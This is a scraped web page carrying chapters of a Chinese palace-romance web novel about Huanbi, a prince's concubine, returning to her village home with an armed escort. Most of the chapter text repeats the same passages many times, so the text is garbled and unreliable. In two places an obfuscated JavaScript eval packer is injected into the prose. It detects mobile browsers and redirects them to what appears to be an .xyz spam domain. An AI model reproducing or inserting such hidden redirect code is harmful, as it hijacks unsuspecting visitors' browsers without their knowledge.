浣碧坐在梳妆台前面,不解地问:“祖母绿是什么?” “是唉,罢了,你还是别知道的好。” 要是把这对耳坠的价值说出来,浣碧是死都不会戴的,青霞了解她,知道她就是个喜欢朴素的人。 青霞亲自动手,不一会儿的功夫就把浣碧从丫鬟打扮成了王府夫人。 浣碧晃了晃,发现脑袋上重得很,说道:“姐姐,你这是给我戴了多少首饰呀?” “你别管,等会儿去护卫营里选两百将士护送,再坐我们王府那个最大的马车,我看那群村里人谁还敢小瞧你。” “啊?带两百人?又不是去打仗带那么多人干什么?再说他们住哪啊?” 青霞有些累了,双手掐腰,说道:“你管那些做什么?我亲自去找曹雄,让他给你安排明白。趁着时间还早,你赶紧去找林安,让他给你安排马车,争取下午到家。” “这”青霞风风火火的样子让浣碧很是诧异,不知道的还以为是她回娘家呢,“姐姐做主就好。” “乖!嘻嘻!”青霞扭着大肚子出门,命令小厮抬来步辇,坐上去直奔护卫营。 护卫营里很多高手都被林震仙调到前线打偷袭去了,此刻就剩下一些老兵。 因为经验足,所以看家护院会更合适一些。 回去,那是假话。 哪有孩子不想家的?浣碧只是不希望林臻为她的事情多操心而已。 现在林臻主动给自己放假,浣碧准备去收拾收拾,现在就出发。 房间内,浣碧对着镜子精心打扮了一番,打扮过后又觉得不太妥当。 自己是农家孩子,穿金戴银的回家成什么样子?还不把村里邻居们吓死。 于是她赶紧把各种首饰都取下来,连带着外袍都换上了素色。 拿上些细软和自己攒的银两,准备出去。 忽然,青霞挺着大肚子进了门,她见浣碧风尘仆仆的样子很是诧异:“妹妹,你这是要干什么去啊?” 浣碧说道:“青霞姐姐,嘻嘻,夫君说要给我放几天假,让我回去探亲。” “好事儿啊!”青霞眼睛一亮:“果然啊,夫君还是最疼我们碧儿了呢。” “哎呀姐姐,你又笑我.” “呵呵呵,不笑不笑,但是你为什么穿成这个样子?这比你平时穿得还素呢,是以前的衣服吧?” “嗯”浣碧小声点说:“我是想着穿得太隆重会吓到乡亲们。” “傻妹子,你这叫衣锦还乡!必须得穿得隆重些,否则那群乡亲们会把你家看扁的!” “他们哪有你说的那么坏?” 青霞见她还不相信,翻了个白眼说道:“妹妹,人心是最险恶的东西,如果你这次回去不穿的隆重些,那些人就会以为你家以前说的那些话都是吹牛,不仅从此看轻你家,还会想方设法的欺负你们家!听姐姐的,立刻把你最好的衣服换上,各种首饰,能带的都带上。” “不要嘛” “妹妹,你若不听,你会后悔的!” 浣碧见她说得煞有其事,而且想想青霞这些年在江湖中摸爬滚打,经验肯定比自己丰富,于是点点头,又去换衣服。 青霞挺着大肚子也没闲着,把浣碧的首饰盒打开。 里面有很多都是林臻送的珍宝,价值不菲,但是浣碧从没戴过。 她挑选了一块价值连城的祖母绿耳坠,等浣碧换完衣服后亲手给她戴上。 “夫君最疼的果然是你,这块祖母绿耳坠晴雯跟她求了八百次,夫君都没给,原来是给你了。” 浣碧坐在梳妆台前面,不解地问:“祖母绿是什么?” “是唉,罢了,你还是别知道的好。” 要是把这对耳坠的价值说出来,浣碧是死都不会戴的,青霞了解她,知道她就是个喜欢朴素的人。 青霞亲自动手,不一会儿的功夫就把浣碧从丫鬟打扮成了王府夫人。 浣碧晃了晃,发现脑袋上重得很,说道:“姐姐,你这是给我戴了多少首饰呀?” “你别管,等会儿去护卫营里选两百将士护送,再坐我们王府那个最大的马车,我看那群村里人谁还敢小瞧你。” “啊?带两百人?又不是去打仗带那么多人干什么?再说他们住哪啊?” 青霞有些累了,双手掐腰,说道:“你管那些做什么?我亲自去找曹雄,让他给你安排明白。趁着时间还早,你赶紧去找林安,让他给你安排马车,争取下午到家。” “这”青霞风风火火的样子让浣碧很是诧异,不知道的还以为是她回娘家呢,“姐姐做主就好。” “乖!嘻嘻!”青霞扭着大肚子出门,命令小厮抬来步辇,坐上去直奔护卫营。 护卫营里很多高手都被林震仙调到前线打偷袭去了,此刻就剩下一些老兵。 因为经验足,所以看家护院会更合适一些。 回去,那是假话。 哪有孩子不想家的?浣碧只是不希望林臻为她的事情多操心而已。 现在林臻主动给自己放假,浣碧准备去收拾收拾,现在就出发。 房间内,浣碧对着镜子精心打扮了一番,打扮过后又觉得不太妥当。 自己是农家孩子,穿金戴银的回家成什么样子?还不把村里邻居们吓死。 于是她赶紧把各种首饰都取下来,连带着外袍都换上了素色。 拿上些细软和自己攒的银两,准备出去。 忽然,青霞挺着大肚子进了门,她见浣碧风尘仆仆的样子很是诧异:“妹妹,你这是要干什么去啊?” 浣碧说道:“青霞姐姐,嘻嘻,夫君说要给我放几天假,让我回去探亲。” “好事儿啊!”青霞眼睛一亮:“果然啊,夫君还是最疼我们碧儿了呢。” “哎呀姐姐,你又笑我.” “呵呵呵,不笑不笑,但是你为什么穿成这个样子?这比你平时穿得还素呢,是以前的衣服吧?” “嗯”浣碧小声点说:“我是想着穿得太隆重会吓到乡亲们。” “傻妹子,你这叫衣锦还乡!必须得穿得隆重些,否则那群乡亲们会把你家看扁的!” “他们哪有你说的那么坏?” 青霞见她还不相信,翻了个白眼说道:“妹妹,人心是最险恶的东西,如果你这次回去不穿的隆重些,那些人就会以为你家以前说的那些话都是吹牛,不仅从此看轻你家,还会想方设法的欺负你们家!听姐姐的,立刻把你最好的衣服换上,各种首饰,能带的都带上。” “不要嘛” “妹妹,你若不听,你会后悔的!” 浣碧见她说得煞有其事,而且想想青霞这些年在江湖中摸爬滚打,经验肯定比自己丰富,于是点点头,又去换衣服。 青霞挺着大肚子也没闲着,把浣碧的首饰盒打开。 里面有很多都是林臻送的珍宝,价值不菲,但是浣碧从没戴过。 她挑选了一块价值连城的祖母绿耳坠,等浣碧换完衣服后亲手给她戴上。 “夫君最疼的果然是你,这块祖母绿耳坠晴雯跟她求了八百次,夫君都没给,原来是给你了。” 浣碧坐在梳妆台前面,不解地问:“祖母绿是什么?” “是唉,罢了,你还是别知道的好。” 要是把这对耳坠的价值说出来,浣碧是死都不会戴的,青霞了解她,知道她就是个喜欢朴素的人。 青霞亲自动手,不一会儿的功夫就把浣碧从丫鬟打扮成了王府夫人。 浣碧晃了晃,发现脑袋上重得很,说道:“姐姐,你这是给我戴了多少首饰呀?” “你别管,等会儿去护卫营里选两百将士护送,再坐我们王府那个最大的马车,我看那群村里人谁还敢小瞧你。” “啊?带两百人?又不是去打仗带那么多人干什么?再说他们住哪啊?” 青霞有些累了,双手掐腰,说道:“你管那些做什么?我亲自去找曹雄,让他给你安排明白。趁着时间还早,你赶紧去找林安,让他给你安排马车,争取下午到家。” “这”青霞风风火火的样子让浣碧很是诧异,不知道的还以为是她回娘家呢,“姐姐做主就好。” “乖!嘻嘻!”青霞扭着大肚子出门,命令小厮抬来步辇,坐上去直奔护卫营。 护卫营里很多高手都被林震仙调到前线打偷袭去了,此刻就剩下一些老兵。 因为经验足,所以看家护院会更合适一些。 回去,那是假话。 哪有孩子不想家的?浣碧只是不希望林臻为她的事情多操心而已。 现在林臻主动给自己放假,浣碧准备去收拾收拾,现在就出发。 房间内,浣碧对着镜子精心打扮了一番,打扮过后又觉得不太妥当。 自己是农家孩子,穿金戴银的回家成什么样子?还不把村里邻居们吓死。 于是她赶紧把各种首饰都取下来,连带着外袍都换上了素色。 拿上些细软和自己攒的银两,准备出去。 忽然,青霞挺着大肚子进了门,她见浣碧风尘仆仆的样子很是诧异:“妹妹,你这是要干什么去啊?” 浣碧说道:“青霞姐姐,嘻嘻,夫君说要给我放几天假,让我回去探亲。” “好事儿啊!”青霞眼睛一亮:“果然啊,夫君还是最疼我们碧儿了呢。” “哎呀姐姐,你又笑我.” “呵呵呵,不笑不笑,但是你为什么穿成这个样子?这比你平时穿得还素呢,是以前的衣服吧?” “嗯”浣碧小声点说:“我是想着穿得太隆重会吓到乡亲们。” “傻妹子,你这叫衣锦还乡!必须得穿得隆重些,否则那群乡亲们会把你家看扁的!” “他们哪有你说的那么坏?” 青霞见她还不相信,翻了个白眼说道:“妹妹,人心是最险恶的东西,如果你这次回去不穿的隆重些,那些人就会以为你家以前说的那些话都是吹牛,不仅从此看轻你家,还会想方设法的欺负你们家!听姐姐的,立刻把你最好的衣服换上,各种首饰,能带的都带上。” “不要嘛” “妹妹,你若不听,你会后悔的!” 浣碧见她说得煞有其事,而且想想青霞这些年在江湖中摸爬滚打,经验肯定比自己丰富,于是点点头,又去换衣服。 青霞挺着大肚子也没闲着,把浣碧的首饰盒打开。 里面有很多都是林臻送的珍宝,价值不菲,但是浣碧从没戴过。 她挑选了一块价值连城的祖母绿耳坠,等浣碧换完衣服后亲手给她戴上。 “夫君最疼的果然是你,这块祖母绿耳坠晴雯跟她求了八百次,夫君都没给,原来是给你了。” 浣碧坐在梳妆台前面,不解地问:“祖母绿是什么?” “是唉,罢了,你还是别知道的好。” 要是把这对耳坠的价值说出来,浣碧是死都不会戴的,青霞了解她,知道她就是个喜欢朴素的人。 青霞亲自动手,不一会儿的功夫就把浣碧从丫鬟打扮成了王府夫人。 浣碧晃了晃,发现脑袋上重得很,说道:“姐姐,你这是给我戴了多少首饰呀?” “你别管,等会儿去护卫营里选两百将士护送,再坐我们王府那个最大的马车,我看那群村里人谁还敢小瞧你。” “啊?带两百人?又不是去打仗带那么多人干什么?再说他们住哪啊?” 青霞有些累了,双手掐腰,说道:“你管那些做什么?我亲自去找曹雄,让他给你安排明白。趁着时间还早,你赶紧去找林安,让他给你安排马车,争取下午到家。” “这”青霞风风火火的样子让浣碧很是诧异,不知道的还以为是她回娘家呢,“姐姐做主就好。” “乖!嘻嘻!”青霞扭着大肚子出门,命令小厮抬来步辇,坐上去直奔护卫营。 护卫营里很多高手都被林震仙调到前线打偷袭去了,此刻就剩下一些老兵。 因为经验足,所以看家护院会更合适一些。 回去,那是假话。 哪有孩子不想家的?浣碧只是不希望林臻为她的事情多操心而已。 现在林臻主动给自己放假,浣碧准备去收拾收拾,现在就出发。 房间内,浣碧对着镜子精心打扮了一番,打扮过后又觉得不太妥当。 自己是农家孩子,穿金戴银的回家成什么样子?还不把村里邻居们吓死。 于是她赶紧把各种首饰都取下来,连带着外袍都换上了素色。 拿上些细软和自己攒的银两,准备出去。 忽然,青霞挺着大肚子进了门,她见浣碧风尘仆仆的样子很是诧异:“妹妹,你这是要干什么去啊?” 浣碧说道:“青霞姐姐,嘻嘻,夫君说要给我放几天假,让我回去探亲。” “好事儿啊!”青霞眼睛一亮:“果然啊,夫君还是最疼我们碧儿了呢。” “哎呀姐姐,你又笑我.” “呵呵呵,不笑不笑,但是你为什么穿成这个样子?这比你平时穿得还素呢,是以前的衣服吧?” “嗯”浣碧小声点说:“我是想着穿得太隆重会吓到乡亲们。” “傻妹子,你这叫衣锦还乡!必须得穿得隆重些,否则那群乡亲们会把你家看扁的!” “他们哪有你说的那么坏?” 青霞见她还不相信,翻了个白眼说道:“妹妹,人心是最险恶的东西,如果你这次回去不穿的隆重些,那些人就会以为你家以前说的那些话都是吹牛,不仅从此看轻你家,还会想方设法的欺负你们家!听姐姐的,立刻把你最好的衣服换上,各种首饰,能带的都带上。” “不要嘛” “妹妹,你若不听,你会后悔的!” 浣碧见她说得煞有其事,而且想想青霞这些年在江湖中摸爬滚打,经验肯定比自己丰富,于是点点头,又去换衣服。 青霞挺着大肚子也没闲着,把浣碧的首饰盒打开。 里面有很多都是林臻送的珍宝,价值不菲,但是浣碧从没戴过。 她挑选了一块价值连城的祖母绿耳坠,等浣碧换完衣服后亲手给她戴上。 “夫君最疼的果然是你,这块祖母绿耳坠晴雯跟她求了八百次,夫君都没给,原来是给你了。” 浣碧坐在梳妆台前面,不解地问:“祖母绿是什么?” “是唉,罢了,你还是别知道的好。” 要是把这对耳坠的价值说出来,浣碧是死都不会戴的,青霞了解她,知道她就是个喜欢朴素的人。 青霞亲自动手,不一会儿的功夫就把浣碧从丫鬟打扮成了王府夫人。 浣碧晃了晃,发现脑袋上重得很,说道:“姐姐,你这是给我戴了多少首饰呀?” “你别管,等会儿去护卫营里选两百将士护送,再坐我们王府那个最大的马车,我看那群村里人谁还敢小瞧你。” “啊?带两百人?又不是去打仗带那么多人干什么?再说他们住哪啊?” 青霞有些累了,双手掐腰,说道:“你管那些做什么?我亲自去找曹雄,让他给你安排明白。趁着时间还早,你赶紧去找林安,让他给你安排马车,争取下午到家。” “这”青霞风风火火的样子让浣碧很是诧异,不知道的还以为是她回娘家呢,“姐姐做主就好。” “乖!嘻嘻!”青霞扭着大肚子出门,命令小厮抬来步辇,坐上去直奔护卫营。 护卫营里很多高手都被林震仙调到前线打偷袭去了,此刻就剩下一些老兵。 因为经验足,所以看家护院会更合适一些。 回去,那是假话。 哪有孩子不想家的?浣碧只是不希望林臻为她的事情多操心而已。 现在林臻主动给自己放假,浣碧准备去收拾收拾,现在就出发。 房间内,浣碧对着镜子精心打扮了一番,打扮过后又觉得不太妥当。 自己是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594880|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 农家孩子,穿金戴银的回家成什么样子?还不把村里邻居们吓死。 于是她赶紧把各种首饰都取下来,连带着外袍都换上了素色。 拿上些细软和自己攒的银两,准备出去。 忽然,青霞挺着大肚子进了门,她见浣碧风尘仆仆的样子很是诧异:“妹妹,你这是要干什么去啊?” 浣碧说道:“青霞姐姐,嘻嘻,夫君说要给我放几天假,让我回去探亲。” “好事儿啊!”青霞眼睛一亮:“果然啊,夫君还是最疼我们碧儿了呢。” “哎呀姐姐,你又笑我.” “呵呵呵,不笑不笑,但是你为什么穿成这个样子?这比你平时穿得还素呢,是以前的衣服吧?” “嗯”浣碧小声点说:“我是想着穿得太隆重会吓到乡亲们。” “傻妹子,你这叫衣锦还乡!必须得穿得隆重些,否则那群乡亲们会把你家看扁的!” “他们哪有你说的那么坏?” 青霞见她还不相信,翻了个白眼说道:“妹妹,人心是最险恶的东西,如果你这次回去不穿的隆重些,那些人就会以为你家以前说的那些话都是吹牛,不仅从此看轻你家,还会想方设法的欺负你们家!听姐姐的,立刻把你最好的衣服换上,各种首饰,能带的都带上。” “不要嘛” “妹妹,你若不听,你会后悔的!” 浣碧见她说得煞有其事,而且想想青霞这些年在江湖中摸爬滚打,经验肯定比自己丰富,于是点点头,又去换衣服。 青霞挺着大肚子也没闲着,把浣碧的首饰盒打开。 里面有很多都是林臻送的珍宝,价值不菲,但是浣碧从没戴过。 她挑选了一块价值连城的祖母绿耳坠,等浣碧换完衣服后亲手给她戴上。 “夫君最疼的果然是你,这块祖母绿耳坠晴雯跟她求了八百次,夫君都没给,原来是给你了。” 浣碧坐在梳妆台前面,不解地问:“祖母绿是什么?” “是唉,罢了,你还是别知道的好。” 要是把这对耳坠的价值说出来,浣碧是死都不会戴的,青霞了解她,知道她就是个喜欢朴素的人。 青霞亲自动手,不一会儿的功夫就把浣碧从丫鬟打扮成了王府夫人。 浣碧晃了晃,发现脑袋上重得很,说道:“姐姐,你这是给我戴了多少首饰呀?” “你别管,等会儿去护卫营里选两百将士护送,再坐我们王府那个最大的马车,我看那群村里人谁还敢小瞧你。” “啊?带两百人?又不是去打仗带那么多人干什么?再说他们住哪啊?” 青霞有些累了,双手掐腰,说道:“你管那些做什么?我亲自去找曹雄,让他给你安排明白。趁着时间还早,你赶紧去找林安,让他给你安排马车,争取下午到家。” “这”青霞风风火火的样子让浣碧很是诧异,不知道的还以为是她回娘家呢,“姐姐做主就好。” “乖!嘻嘻!”青霞扭着大肚子出门,命令小厮抬来步辇,坐上去直奔护卫营。 护卫营里很多高手都被林震仙调到前线打偷袭去了,此刻就剩下一些老兵。 因为经验足,所以看家护院会更合适一些。 回去,那是假话。 哪有孩子不想家的?浣碧只是不希望林臻为她的事情多操心而已。 现在林臻主动给自己放假,浣碧准备去收拾收拾,现在就出发。 房间内,浣碧对着镜子精心打扮了一番,打扮过后又觉得不太妥当。 自己是农家孩子,穿金戴银的回家成什么样子?还不把村里邻居们吓死。 于是她赶紧把各种首饰都取下来,连带着外袍都换上了素色。 拿上些细软和自己攒的银两,准备出去。 忽然,青霞挺着大肚子进了门,她见浣碧风尘仆仆的样子很是诧异:“妹妹,你这是要干什么去啊?” 浣碧说道:“青霞姐姐,嘻嘻,夫君说要给我放几天假,让我回去探亲。” “好事儿啊!”青霞眼睛一亮:“果然啊,夫君还是最疼我们碧儿了呢。” “哎呀姐姐,你又笑我.” “呵呵呵,不笑不笑,但是你为什么穿成这个样子?这比你平时穿得还素呢,是以前的衣服吧?” “嗯”浣碧小声点说:“我是想着穿得太隆重会吓到乡亲们。” “傻妹子,你这叫衣锦还乡!必须得穿得隆重些,否则那群乡亲们会把你家看扁的!” “他们哪有你说的那么坏?” 青霞见她还不相信,翻了个白眼说道:“妹妹,人心是最险恶的东西,如果你这次回去不穿的隆重些,那些人就会以为你家以前说的那些话都是吹牛,不仅从此看轻你家,还会想方设法的欺负你们家!听姐姐的,立刻把你最好的衣服换上,各种首饰,能带的都带上。” “不要嘛” “妹妹,你若不听,你会后悔的!” 浣碧见她说得煞有其事,而且想想青霞这些年在江湖中摸爬滚打,经验肯定比自己丰富,于是点点头,又去换衣服。 青霞挺着大肚子也没闲着,把浣碧的首饰盒打开。 里面有很多都是林臻送的珍宝,价值不菲,但是浣碧从没戴过。 她挑选了一块价值连城的祖母绿耳坠,等浣碧换完衣服后亲手给她戴上。 “夫君最疼的果然是你,这块祖母绿耳坠晴雯跟她求了八百次,夫君都没给,原来是给你了。” 浣碧坐在梳妆台前面,不解地问:“祖母绿是什么?” “是唉,罢了,你还是别知道的好。” 要是把这对耳坠的价值说出来,浣碧是死都不会戴的,青霞了解她,知道她就是个喜欢朴素的人。 青霞亲自动手,不一会儿的功夫就把浣碧从丫鬟打扮成了王府夫人。 浣碧晃了晃,发现脑袋上重得很,说道:“姐姐,你这是给我戴了多少首饰呀?” “你别管,等会儿去护卫营里选两百将士护送,再坐我们王府那个最大的马车,我看那群村里人谁还敢小瞧你。” “啊?带两百人?又不是去打仗带那么多人干什么?再说他们住哪啊?” 青霞有些累了,双手掐腰,说道:“你管那些做什么?我亲自去找曹雄,让他给你安排明白。趁着时间还早,你赶紧去找林安,让他给你安排马车,争取下午到家。” “这”青霞风风火火的样子让浣碧很是诧异,不知道的还以为是她回娘家呢,“姐姐做主就好。” “乖!嘻嘻!”青霞扭着大肚子出门,命令小厮抬来步辇,坐上去直奔护卫营。 护卫营里很多高手都被林震仙调到前线打偷袭去了,此刻就剩下一些老兵。 因为经验足,所以看家护院会更合适一些。 回去,那是假话。 哪有孩子不想家的?浣碧只是不希望林臻为她的事情多操心而已。 现在林臻主动给自己放假,浣碧准备去收拾收拾,现在就出发。 房间内,浣碧对着镜子精心打扮了一番,打扮过后又觉得不太妥当。 自己是农家孩子,穿金戴银的回家成什么样子?还不把村里邻居们吓死。 于是她赶紧把各种首饰都取下来,连带着外袍都换上了素色。 拿上些细软和自己攒的银两,准备出去。 忽然,青霞挺着大肚子进了门,她见浣碧风尘仆仆的样子很是诧异:“妹妹,你这是要干什么去啊?” 浣碧说道:“青霞姐姐,嘻嘻,夫君说要给我放几天假,让我回去探亲。” “好事儿啊!”青霞眼睛一亮:“果然啊,夫君还是最疼我们碧儿了呢。” “哎呀姐姐,你又笑我.” “呵呵呵,不笑不笑,但是你为什么穿成这个样子?这比你平时穿得还素呢,是以前的衣服吧?” “嗯”浣碧小声点说:“我是想着穿得太隆重会吓到乡亲们。” “傻妹子,你这叫衣锦还乡!必须得穿得隆重些,否则那群乡亲们会把你家看扁的!” “他们哪有你说的那么坏?” 青霞见她还不相信,翻了个白眼说道:“妹妹,人心是最险恶的东西,如果你这次回去不穿的隆重些,那些人就会以为你家以前说的那些话都是吹牛,不仅从此看轻你家,还会想方设法的欺负你们家!听姐姐的,立刻把你最好的衣服换上,各种首饰,能带的都带上。” “不要嘛” “妹妹,你若不听,你会后悔的!” 浣碧见她说得煞有其事,而且想想青霞这些年在江湖中摸爬滚打,经验肯定比自己丰富,于是点点头,又去换衣服。 青霞挺着大肚子也没闲着,把浣碧的首饰盒打开。 里面有很多都是林臻送的珍宝,价值不菲,但是浣碧从没戴过。 她挑选了一块价值连城的祖母绿耳坠,等浣碧换完衣服后亲手给她戴上。 “夫君最疼的果然是你,这块祖母绿耳坠晴雯跟她求了八百次,夫君都没给,原来是给你了。” 浣碧坐在梳妆台前面,不解地问:“祖母绿是什么?” “是唉,罢了,你还是别知道的好。” 要是把这对耳坠的价值说出来,浣碧是死都不会戴的,青霞了解她,知道她就是个喜欢朴素的人。 青霞亲自动手,不一会儿的功夫就把浣碧从丫鬟打扮成了王府夫人。 浣碧晃了晃,发现脑袋上重得很,说道:“姐姐,你这是给我戴了多少首饰呀?” “你别管,等会儿去护卫营里选两百将士护送,再坐我们王府那个最大的马车,我看那群村里人谁还敢小瞧你。” “啊?带两百人?又不是去打仗带那么多人干什么?再说他们住哪啊?” 青霞有些累了,双手掐腰,说道:“你管那些做什么?我亲自去找曹雄,让他给你安排明白。趁着时间还早,你赶紧去找林安,让他给你安排马车,争取下午到家。” “这”青霞风风火火的样子让浣碧很是诧异,不知道的还以为是她回娘家呢,“姐姐做主就好。” “乖!嘻嘻!”青霞扭着大肚子出门,命令小厮抬来步辇,坐上去直奔护卫营。 护卫营里很多高手都被林震仙调到前线打偷袭去了,此刻就剩下一些老兵。 因为经验足,所以看家护院会更合适一些。 第495章 浣碧的家(二) 护卫营在王府的北面,是个独立的院落,远离生活区,平时营长会委派部分士兵来到院子里巡逻,设防。 毕竟是王府,是比大乾皇宫还要重要的地方,安全绝不能松懈。 青霞肚子越来越大了,算算时间今天已经有六个月了,估计夏天的时候就会分娩。好在她常年习武身体非常好,走路也不需要人扶。 之所以要坐步辇,也是享受享受豪门名媛的待遇而已。 曹雄早就升官了,任金吾卫裨将,也算年少有为。 但是没有选择去军营里赴任,而是整天窝在王府护卫营里。明眼人都看得出来,曹雄是不打算走了。 当多大的官没有意义,他也不懂**上的那些歪歪绕,还不如跟着林臻一天到晚吃香喝辣的呢,而且只要他把林臻伺候得好,放眼整个大乾谁敢小瞧他? 人们都说皇帝身边的太监比巡抚大。 正是此理。 现在曹雄若是以林臻的名义出去办事,方方面面都得给几分面子,甚至偶尔还会受到三品官员的亲自接待,这就是身份。 况且曹雄这人也没什么大理想,每天能老婆孩子热炕头就知足,正适合在王府里当差。 前阵子林臻更是出钱给曹雄在京城永乐坊买了个联排的小院,结果被一场大火烧的一干二净,现在老婆都搬到护卫营里了,每天愁得抓耳挠腮的。 “营长,中午吃点啥啊?一名年轻的士兵走进来。 这是曹雄的警卫员,专门负责伺候他的。 有人说跟班也配有人伺候么? 当然了,县长陪市长出门溜达,身边也得跟着自己的秘书和司机啊,这很正常。 曹雄躺在床上,也不卸甲,烦躁地说:“爱他妈吃啥吃啥,滚蛋。 “哦。士兵挨了骂,垂头丧气地走出去。一抬头,正撞见一个大步辇徐徐进来。 他眼尖,忙上去行礼:“青霞夫人!您今天怎么有空过来?? 说完还亲自拿来马扎,放在步辇旁边。 青霞淡笑着走下步辇,对士兵点点头:“小伙子很有眼力见啊,叫什么名字? “回夫人的话,末将王春生。 “嗯,好名字,正应时节的景,曹雄呢? “曹营长在屋里呢。说完王春生对里面喊道,“营长,青霞夫人来了! 听说夫人来了,曹雄一骨碌爬起来,鞋也顾不上穿地跑出来。 “参见青霞夫人。 “老曹啊,都是自己人,下回 别这么着急,赶紧把鞋穿上。”青霞对下人从来不板着脸,更不会像上官婉儿那样重视规矩,眼里不揉沙子。 她更习惯和属下和平相处,这也是多年来修养的江湖气。 王春生给曹雄把鞋拿来,后者憨厚地笑了笑穿好,说道:“青霞夫人,您今天怎么有空来我们这护卫营啊?有事儿您让林安派个人过来说一下就好了嘛。” “管家忙着呢,我今天来是给你们安排个活儿,浣碧要回娘家,世子不放心她的安全所以让你们派三百士兵跟随。” “三百?”曹雄也被这个数字吓了一跳。 这又不是去打仗,搞偷袭,回个娘家而已带那么多人干什么? “夫人,为什么要带这么多人啊?” 青霞说道:“世子吩咐的,你照办就是,如果府里的人不够了就去找张俪借点,她那边有虎贲营的人呢。” “不不不。”曹雄连连摆手,“人手倒是够用,只是末将不明白三百人陪浣碧夫人回娘家,住哪啊?吃什么啊?” “你们自己想办法,回来找张俪报销,有世子的命令你怕什么。” “这好,那末将这就去安排。” 曹雄抱拳,转身离开去摇人。 青霞看着他的背影,心说:我看这回谁敢小瞧我们家浣碧。 三百杀过人的虎狼之师陪着回娘家,估计目前也就浣碧有这待遇。 浣碧坐在专属林臻的大马车上心里还有些不得劲,时不时地撩开车帘向外望去,只见自己马车前后各有一百五十黑甲士兵手持**长钺,面色冷峻一丝不苟,步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“啊!您说的是李冬家吧?好好好,老朽这就带您过去。” 听说是李冬家,老村正这才放下心,劲劲儿地在前面领路。 世子夫人回娘家,这可是件大事,传出去他老脸也有光。 一时间老头竟然健步如飞,很快,队伍便到了一户人家门口。 第496章 浣碧的家(三) “老三,好歹我也是你丈母娘,你可不能这么狠心啊。” “是啊三哥,孩子想进城学手艺,可没钱谁让你学啊,你现在家大业大的,就帮个忙吧。” “你忘了?那年你在黄二他家打长工,还是我偷摸给你送的饭呢。” “就是,浣碧这丫头是个有福气的,能嫁给世子那样神仙般的人物,你还差这仨瓜俩枣的吗?赶紧把钱拿出来,别惹老太太生气了。” “百善孝为先,他娘啊,你丈夫不给钱,你还不给吗?这可是你亲妈!” 一尘不染的房间里,浣碧父亲李老三和妻子阿幺坐在炕头上,对面几个小马扎上坐着浣碧姥姥、大姨、大舅等一众亲属。 大家都是亲戚,以前不怎么往来,甚至这些人中还有不少人瞧不起李老三,认为把阿幺嫁给他亏**。 可后来浣碧成了林臻的小妾,李老三更是被她拿钱从地主家赎了出来,日子越过越好,反观他们立刻换了副嘴脸,过来借钱。 之前李老三还想着以前的些许情分,拿了五两银子,没想到才十天的功夫又来借。 “岳母,我真没钱了。” 浣碧姥姥翻个白眼:“你没钱?你没钱置办这么多亩地?你就是不想拿,唉,可怜我生了个不孝女,嫁给你这种白眼狼,连二十两都不愿意拿!” 浣碧大姨也跟着帮腔:“就是,你家浣碧在王府穿金戴银,出门都有马车仪仗,你这当爹的二十两都拿不出来,谁信啊!” 李老三忍不住反驳:“那是碧儿的钱,又不是我的钱!” “那你也生了个不孝女,自己日子过得那么好,都不知道拿钱来孝敬孝敬你。” 阿幺和浣碧一样,是个软弱的性子,见自己家的亲戚来找丈夫要钱,她硬是不敢阻拦,也不敢说话,就一声不吭地掉眼泪。 浣碧姥姥见状还骂道:“哭,哭,你就知道哭!我怎么就生了你这么个孬子闺女!” “呜呜呜呜.”听到母亲的责骂,阿幺哭得更凶了。 李老三吼道:“行了!你们说我也就算了,再敢说阿幺我就把你们都赶出去!” “呦呵,你还来劲了,我告诉你,你今天不拿钱出来,我们就不走了!” “就是,把我们逼急了就把你那点丑事都说出去,也让他们听听,你们是怎么对待长辈的!到时候要是牵扯到浣碧,你们可别怪我!” “你敢!”只要说到浣碧,李老三就很恼火。 当年卖掉浣碧是他一生的痛,现在更不允许有任何人再伤 害她。 浣碧姥姥仗着自己岁数大,又是他丈母娘,有恃无恐地说:“哼,你看我敢不敢?你不让我们家活,你也别想好过!” “娘”阿幺见母亲这么过分,哭着喊了声娘,结果被母亲一句话就骂了回去。 “闭嘴,你这没用的东西!” “够了!”李老三跳下炕,指着大门:“你们都给我滚出去!我们家不欢迎你们!” “我就不走,咋的?你要动手打我这老太婆啊?”浣碧姥姥根本不怕他,转眼就开始哭嚎:“哎呦我的天啊!!没有天理了啊!女婿打丈母娘了啊!!呜呜呜.” “娘!你没事吧!” “娘!娘!李老三,你要给我娘吓出个好歹来,我跟你没完!” 李老三见老太太躺在地上一个劲儿翻白眼,一时间也没了主意。 阿幺更不用说,早就已经吓傻了。 就在这个时候,村正掀开门帘走了进来,一脸的兴奋:“老三,你猜谁来了?诶?你们这是干什么呢?” 说完他才看到躺在地上,头发雪白的浣碧姥姥和其他人。 李老三脸色很难看:“村正,怎么了?” “哦,你闺女回来了,马上到门口,你赶紧去迎接吧。” “闺女?是囡囡回来了吗?” 李老三和阿幺有三个孩子。 老大是儿子,如今已经娶妻生子了。 早年因为穷,他们夫妻俩都在地主家打工,后来被浣碧赎身回家,就照管家里的二十亩田地,这个季节正是春种的时候,所以没在家,也不知道家里发生的这些事儿。 老二是闺女,被卖掉后就再也没见过,也不知道人在哪。 老三就是浣碧了,而且浣碧这个名字还是进府以后管家按照王府规矩给重新起的,本名叫李小花。 村正摇了摇头:“不是,是世子夫人,浣碧。” “啥?浣碧回来了!” “真的?在哪呢?” 李老三和阿幺都很高兴,忙着追问。 村正说:“马上就到了。虽然你们和浣碧是至亲,但是身份不同,你们赶紧出门跪迎,千万不要失了礼数!” “好好好!!” 李老三答应一声就要带老婆出门,可谁知又有一大帮子人涌进自己家里。 都是村里的村民,大家听说世子的小妾回村里都纷纷赶了过来。 人嘛,不能雪中送炭,但是锦上添花也挺好的。 “三哥啊!你闺女回来看你来了!” “老三,你可真有福气啊,当了世子的老丈人,以后我可就跟你混了!” 